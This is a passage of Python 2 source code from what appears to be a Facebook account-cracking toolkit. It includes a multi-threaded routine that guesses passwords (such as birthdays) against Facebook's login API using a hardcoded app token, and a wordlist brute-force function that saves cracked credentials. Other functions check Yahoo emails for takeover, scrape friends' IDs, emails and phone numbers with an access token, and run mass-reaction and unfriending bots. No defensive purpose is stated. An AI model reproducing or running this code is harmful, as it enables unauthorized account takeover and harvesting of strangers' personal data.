print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3
else:
lahir = b['birthday']
pass4 = lahir.replace('/', '')
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4
else:
if 'www.facebook.com' in q['error_msg']:
print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4
except:
pass
p = ThreadPool(30)
p.map(main, id)
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
super()
def brute():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
try:
email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ')
passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m')
total = open(passw, 'r')
total = total.readlines()
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[+] \x1b[1;92mAmount\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword'
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
sandi = open(passw, 'r')
for pw in sandi:
try:
pw = pw.replace('\n', '')
sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mTry \x1b[1;97m' + pw)
sys.stdout.flush()
data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
mpsh = json.loads(data.text)
if 'access_token' in mpsh:
dapat = open('Brute.txt', 'w')
dapat.write(email + ' | ' + pw + '\n')
dapat.close()
print '\n\x1b[1;91m[+] \x1b[1;92mWas Found.'
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
Exit()
else:
if 'www.facebook.com' in mpsh['error_msg']:
ceks = open('Brutecheckpoint.txt', 'w')
ceks.write(email + ' | ' + pw + '\n')
ceks.close()
print '\n\x1b[1;91m[+] \x1b[1;92mWas Found.'
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[!] \x1b[1;93mCheckpoint account'
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
Exit()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] Connection Error'
time.sleep(1)
except IOError:
print '\x1b[1;91m[!] File was not Found...'
print '\n\x1b[1;91m[!] \x1b[1;92mSeems like you have not wordlist'
tanyaw()
def tanyaw():
why = raw_input('\x1b[1;91m[?] \x1b[1;92mWant to make wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ')
if why == '':
print '\x1b[1;91m[!] Please choose \x1b[1;97m(y/t)'
tanyaw()
else:
if why == 'y':
wordlist()
else:
if why == 'Y':
wordlist()
else:
if why == 't':
menu_hack()
else:
if why == 'T':
menu_hack()
else:
print '\x1b[1;91m[!] Please choose \x1b[1;97m(y/t)'
tanyaw()
def menu_yahoo():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. from friend facebook'
print '\x1b[1;37;40m2. Use File'
print '\x1b[1;31;40m0. Back'
print
yahoo_choose()
def yahoo_choose():
go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if go == '':
print '\x1b[1;91m[!] Dont be empty'
yahoo_choose()
else:
if go == '1':
yahoofriends()
else:
if go == '2':
yahoolist()
else:
if go == '0':
menu_hack()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mThere is no'
yahoo_choose()
def yahoofriends():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
mpsh = []
jml = 0
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
friend = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
kimak = json.loads(friend.text)
save = open('MailValid.txt', 'w')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for w in kimak['data']:
jml += 1
mpsh.append(jml)
id = w['id']
Name = w['name']
links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr=0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + Validot + '\x1b[1;97m]'
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + Name
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + Valid + '\x1b[1;97m]'
print 40 * '\x1b[1;97m\xe2\x95\x90'
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + Validot + '\x1b[1;97m]'
except KeyError:
pass
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m:\x1b[1;97m MailValid.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def yahoolist():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m')
try:
total = open(files, 'r')
mail = total.readlines()
except IOError:
print '\x1b[1;91m[!] There is no File'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
mpsh = []
jml = 0
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
save = open('MailValid.txt', 'w')
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + Validot + '\x1b[1;97m] Green[\x1b[1;92m' + Valid + '\x1b[1;97m]'
print
mail = open(files, 'r').readlines()
for pw in mail:
mail = pw.replace('\n', '')
jml += 1
mpsh.append(jml)
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr=0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
print '\x1b[1;91m ' + mail
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print '\x1b[1;92m ' + mail
else:
print '\x1b[1;91m ' + mail
print '\n\x1b[1;91m[+] \x1b[1;97mDone'
print '\x1b[1;91m[+] \x1b[1;97mStored \x1b[1;91m:\x1b[1;97m MailValid.txt'
save.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_yahoo()
def grab():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Take ID friend'
print '\x1b[1;37;40m2. Take ID friend from friend'
print '\x1b[1;37;40m3. Take ID member group'
print '\x1b[1;37;40m4. Take Email friend'
print '\x1b[1;37;40m5. Take Email friend from friend'
print '\x1b[1;37;40m6. Take No HP friend'
print '\x1b[1;37;40m7. Take No HP friend from friend'
print '\x1b[1;31;40m0. Back'
print
grab_choose()
def grab_choose():
cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if cuih == '':
print '\x1b[1;91m[!] Dont be empty'
grab_choose()
else:
if cuih == '1':
id_friend()
else:
if cuih == '2':
idfrom_friend()
else:
if cuih == '3':
id_member_group()
else:
if cuih == '4':
email()
else:
if cuih == '5':
emailfrom_friend()
else:
if cuih == '6':
Number_hp()
else:
if cuih == '7':
hpfrom_friend()
else:
if cuih == '0':
menu_hack()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mThere is no'
grab_choose()
def id_friend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
bz = open(save_id, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for ah in z['data']:
idfriend.append(ah['id'])
bz.write(ah['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name']
print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id']
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idfriend)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + save_id
bz.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(save_id)
print '\x1b[1;91m[!] An error occurred'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def idfrom_friend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not yet friend'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket)
z = json.loads(r.text)
save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
bz = open(save_idt, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for ah in z['friends']['data']:
idfromfriend.append(ah['id'])
bz.write(ah['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name']
print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id']
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idfromfriend)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + save_idt
bz.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def id_member_group():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
id = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] group was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
b = open(simg, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket)
s = json.loads(re.text)
for i in s['data']:
idmem.append(i['id'])
b.write(i['id'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + i['name']
print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id']
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idmem)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + simg
b.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(simg)
print '\x1b[1;91m[!] group was not Found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def email():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
a = json.loads(r.text)
mpsh = open(mails, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
em.append(z['email'])
mpsh.write(z['email'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
print 40 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Email\x1b[1;96m%s' % len(em)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + mails
mpsh.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(mails)
print '\x1b[1;91m[!] An error occurred'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def emailfrom_friend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not yet friend'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
mpsh = open(mails, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
emfromfriend.append(z['email'])
mpsh.write(z['email'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email']
print 40 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Email\x1b[1;96m%s' % len(emfromfriend)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + mails
mpsh.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def Number_hp():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
url = 'https://graph.facebook.com/me/friends?access_token=' + toket
r = requests.get(url)
z = json.loads(r.text)
no = open(noms, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for n in z['data']:
x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hp.append(z['mobile_phone'])
no.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mNumber\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
print 40 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Number\x1b[1;96m%s' % len(hp)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + noms
no.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except KeyError:
os.remove(noms)
print '\x1b[1;91m[!] An error occurred'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def hpfrom_friend():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
try:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Not yet friend'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m')
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
a = json.loads(r.text)
no = open(noms, 'w')
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for i in a['data']:
x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket)
z = json.loads(x.text)
try:
hpfromfriend.append(z['mobile_phone'])
no.write(z['mobile_phone'] + '\n')
print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name']
print '\x1b[1;92mNumber\x1b[1;91m : \x1b[1;97m' + z['mobile_phone']
print 40 * '\x1b[1;97m\xe2\x95\x90'
except KeyError:
pass
print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Number\x1b[1;96m%s' % len(hpfromfriend)
print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + noms
no.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except IOError:
print '\x1b[1;91m[!] Error while creating file'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stalled'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
grab()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] There is no connection'
Exit()
def menu_bot():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. Bot Reactions Target Post'
print '\x1b[1;37;40m2. Bot Reactions group Post'
print '\x1b[1;37;40m3. Bot come Target Post'
print '\x1b[1;37;40m4. Bot come group Post'
print '\x1b[1;37;40m5. Mass delete Post'
print '\x1b[1;37;40m6. Accept friendship request'
print '\x1b[1;37;40m7. Remove friendship'
print '\x1b[1;31;40m0. Back'
print
bot_choose()
def bot_choose():
bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if bots == '':
print '\x1b[1;91m[!] Dont be empty'
bot_choose()
else:
if bots == '1':
menu_react()
else:
if bots == '2':
group_react()
else:
if bots == '3':
bot_come()
else:
if bots == '4':
group_come()
else:
if bots == '5':
deletepost()
else:
if bots == '6':
accept()
else:
if bots == '7':
unfriend()
else:
if bots == '0':
menu()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mThere is no'
bot_choose()
def menu_react():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;37;40m1. \x1b[1;97mLike'
print '\x1b[1;37;40m2. \x1b[1;97mLove'
print '\x1b[1;37;40m3. \x1b[1;97mWow'
print '\x1b[1;37;40m4. \x1b[1;97mHaha'
print '\x1b[1;37;40m5. \x1b[1;97mSad'
print '\x1b[1;37;40m6. \x1b[1;97mAngry'
print '\x1b[1;31;40m0. Back'
print
react_choose()
def react_choose():
global tipe
aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
if aksi == '':
print '\x1b[1;91m[!] Dont be empty'
react_choose()
else:
if aksi == '1':
tipe = 'LIKE'
react()
else:
if aksi == '2':
tipe = 'LOVE'
react()
else:
if aksi == '3':
tipe = 'WOW'
react()
else:
if aksi == '4':
tipe = 'HAHA'
react()
else:
if aksi == '5':
tipe = 'SAD'
react()
else:
if aksi == '6':
tipe = 'ANGRY'
react()
else:
if aksi == '0':
menu_bot()
else:
print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mThere is no'
react_choose()
def react():
os.system('clear')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
else:
os.system('clear')
print logo
print 40 * '\x1b[1;97m\xe2\x95\x90'
ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ')
try:
oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket)
ah = json.loads(oh.text)
Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...')
print 40 * '\x1b[1;97m\xe2\x95\x90'
for a in ah['feed']['data']:
y = a['id']
reaction.append(y)
